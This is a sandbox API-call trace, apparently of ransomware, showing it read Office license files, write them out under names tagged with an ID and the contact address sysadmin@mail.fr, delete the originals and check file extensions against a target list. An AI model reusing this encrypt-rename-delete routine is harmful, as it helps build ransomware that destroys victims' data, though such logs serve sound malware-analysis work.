	[0172.240] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0172.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c
	[0172.241] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.241] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c
	[0172.242] GetLastError () returned 0x0
	[0172.242] ReadFile (in: hFile=0x57c, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x307e, lpOverlapped=0x0) returned 1
	[0172.514] WriteFile (in: hFile=0x47c, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x3080, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x3080, lpOverlapped=0x0) returned 1
	[0172.553] ReadFile (in: hFile=0x57c, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0172.553] WriteFile (in: hFile=0x47c, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x100, lpOverlapped=0x0) returned 1
	[0172.553] SetEndOfFile (hFile=0x47c) returned 1
	[0172.553] CloseHandle (hObject=0x47c) returned 1
	[0172.553] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.553] SetEndOfFile (hFile=0x57c) returned 1
	[0172.558] CloseHandle (hObject=0x57c) returned 1
	[0172.559] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0172.559] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ppd.xrm-ms")) returned 1
	[0172.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms") returned 72
	[0172.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms") returned 72
	[0172.560] lstrlenW (lpString=".doc") returned 4
	[0172.560] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0172.560] lstrlenW (lpString=".docx") returned 5
	[0172.560] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0172.560] lstrlenW (lpString=".pdf") returned 4
	[0172.560] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0172.561] lstrlenW (lpString=".xls") returned 4
	[0172.561] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0172.561] lstrlenW (lpString=".xlsx") returned 5
	[0172.561] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0172.561] lstrlenW (lpString=".ppt") returned 4
	[0172.561] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0172.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms") returned 72
	[0172.561] lstrlenW (lpString=".zip") returned 4
	[0172.561] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0172.561] lstrlenW (lpString=".rar") returned 4
	[0172.561] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0172.561] lstrlenW (lpString=".bz2") returned 4
	[0172.561] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0172.561] lstrlenW (lpString=".7z") returned 3
	[0172.561] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0172.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms") returned 72
	[0172.561] lstrlenW (lpString=".dbf") returned 4
	[0172.561] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0172.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms") returned 72
	[0172.561] lstrlenW (lpString=".1cd") returned 4
	[0172.561] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0172.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms") returned 72
	[0172.561] lstrlenW (lpString=".jpg") returned 4
	[0172.561] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0172.562] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=25386) returned 1
	[0172.562] CloseHandle (hObject=0x57c) returned 1
	[0172.562] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ppd.xrm-ms")) returned 0x220
	[0172.562] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0172.563] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c
	[0172.563] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.563] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c
	[0172.565] GetLastError () returned 0x0
	[0172.565] ReadFile (in: hFile=0x57c, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x632a, lpOverlapped=0x0) returned 1
	[0172.588] WriteFile (in: hFile=0x47c, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x6330, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x6330, lpOverlapped=0x0) returned 1
	[0172.589] ReadFile (in: hFile=0x57c, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0172.589] WriteFile (in: hFile=0x47c, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x11e, lpOverlapped=0x0) returned 1
	[0172.589] SetEndOfFile (hFile=0x47c) returned 1
	[0172.589] CloseHandle (hObject=0x47c) returned 1
	[0172.590] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.590] SetEndOfFile (hFile=0x57c) returned 1
	[0172.593] CloseHandle (hObject=0x57c) returned 1
	[0172.593] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0172.594] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ppd.xrm-ms")) returned 1
	[0172.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms") returned 87
	[0172.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms") returned 87
	[0172.595] lstrlenW (lpString=".doc") returned 4
	[0172.595] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0172.595] lstrlenW (lpString=".docx") returned 5
	[0172.595] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0172.595] lstrlenW (lpString=".pdf") returned 4
	[0172.595] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0172.595] lstrlenW (lpString=".xls") returned 4
	[0172.595] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0172.595] lstrlenW (lpString=".xlsx") returned 5
	[0172.595] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0172.595] lstrlenW (lpString=".ppt") returned 4
	[0172.595] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0172.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms") returned 87
	[0172.595] lstrlenW (lpString=".zip") returned 4
	[0172.595] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0172.595] lstrlenW (lpString=".rar") returned 4
	[0172.595] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0172.595] lstrlenW (lpString=".bz2") returned 4
	[0172.595] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0172.595] lstrlenW (lpString=".7z") returned 3
	[0172.596] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0172.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms") returned 87
	[0172.596] lstrlenW (lpString=".dbf") returned 4
	[0172.596] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0172.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms") returned 87
	[0172.596] lstrlenW (lpString=".1cd") returned 4
	[0172.596] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0172.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms") returned 87
	[0172.596] lstrlenW (lpString=".jpg") returned 4
	[0172.596] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0172.596] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=22465) returned 1
	[0172.597] CloseHandle (hObject=0x57c) returned 1
	[0172.597] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ppd.xrm-ms")) returned 0x220
	[0172.597] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0172.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c
	[0172.598] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.598] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c
	[0172.599] GetLastError () returned 0x0
	[0172.599] ReadFile (in: hFile=0x57c, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x57c1, lpOverlapped=0x0) returned 1
	[0172.625] WriteFile (in: hFile=0x47c, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x57d0, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x57d0, lpOverlapped=0x0) returned 1
	[0172.627] ReadFile (in: hFile=0x57c, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0172.627] WriteFile (in: hFile=0x47c, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x114, lpOverlapped=0x0) returned 1
	[0172.627] SetEndOfFile (hFile=0x47c) returned 1
	[0172.628] CloseHandle (hObject=0x47c) returned 1
	[0172.628] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.628] SetEndOfFile (hFile=0x57c) returned 1
	[0172.635] CloseHandle (hObject=0x57c) returned 1
	[0172.635] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0172.636] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ppd.xrm-ms")) returned 1
	[0172.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms") returned 82
	[0172.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms") returned 82
	[0172.638] lstrlenW (lpString=".doc") returned 4
	[0172.638] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0172.638] lstrlenW (lpString=".docx") returned 5
	[0172.638] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0172.638] lstrlenW (lpString=".pdf") returned 4
	[0172.639] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0172.639] lstrlenW (lpString=".xls") returned 4
	[0172.639] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0172.640] lstrlenW (lpString=".xlsx") returned 5
	[0172.640] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0172.641] lstrlenW (lpString=".ppt") returned 4
	[0172.641] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0172.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms") returned 82
	[0172.642] lstrlenW (lpString=".zip") returned 4
	[0172.642] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0172.642] lstrlenW (lpString=".rar") returned 4
	[0172.642] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0172.642] lstrlenW (lpString=".bz2") returned 4
	[0172.642] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0172.642] lstrlenW (lpString=".7z") returned 3
	[0172.642] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0172.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms") returned 82
	[0172.642] lstrlenW (lpString=".dbf") returned 4
	[0172.642] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0172.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms") returned 82
	[0172.642] lstrlenW (lpString=".1cd") returned 4
	[0172.642] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0172.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms") returned 82
	[0172.642] lstrlenW (lpString=".jpg") returned 4
	[0172.642] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0172.644] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=11179) returned 1
	[0172.645] CloseHandle (hObject=0x57c) returned 1
	[0172.645] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-pl.xrm-ms")) returned 0x220
	[0172.645] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0172.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c
	[0172.646] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.646] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c
	[0172.647] GetLastError () returned 0x0
	[0172.647] ReadFile (in: hFile=0x57c, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x2bab, lpOverlapped=0x0) returned 1
	[0172.866] WriteFile (in: hFile=0x47c, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x2bb0, lpOverlapped=0x0) returned 1
	[0172.878] ReadFile (in: hFile=0x57c, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0172.878] WriteFile (in: hFile=0x47c, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x114, lpOverlapped=0x0) returned 1
	[0172.878] SetEndOfFile (hFile=0x47c) returned 1
	[0172.880] CloseHandle (hObject=0x47c) returned 1
	[0172.880] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.880] SetEndOfFile (hFile=0x57c) returned 1
	[0172.886] CloseHandle (hObject=0x57c) returned 1
	[0172.886] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0172.887] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-pl.xrm-ms")) returned 1
	[0172.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms") returned 82
	[0172.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms") returned 82
	[0172.888] lstrlenW (lpString=".doc") returned 4
	[0172.888] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0172.888] lstrlenW (lpString=".docx") returned 5
	[0172.888] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0172.888] lstrlenW (lpString=".pdf") returned 4
	[0172.888] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0172.888] lstrlenW (lpString=".xls") returned 4
	[0172.888] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0172.888] lstrlenW (lpString=".xlsx") returned 5
	[0172.888] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0172.888] lstrlenW (lpString=".ppt") returned 4
	[0172.888] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0172.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms") returned 82
	[0172.888] lstrlenW (lpString=".zip") returned 4
	[0172.888] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0172.888] lstrlenW (lpString=".rar") returned 4
	[0172.888] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0172.888] lstrlenW (lpString=".bz2") returned 4
	[0172.888] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0172.888] lstrlenW (lpString=".7z") returned 3
	[0172.888] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0172.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms") returned 82
	[0172.889] lstrlenW (lpString=".dbf") returned 4
	[0172.889] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0172.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms") returned 82
	[0172.889] lstrlenW (lpString=".1cd") returned 4
	[0172.889] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0172.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms") returned 82
	[0172.889] lstrlenW (lpString=".jpg") returned 4
	[0172.889] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0172.889] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=11199) returned 1
	[0172.890] CloseHandle (hObject=0x57c) returned 1
	[0172.890] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-pl.xrm-ms")) returned 0x220
	[0172.890] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0172.890] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c
	[0172.891] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.891] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c
	[0172.892] GetLastError () returned 0x0
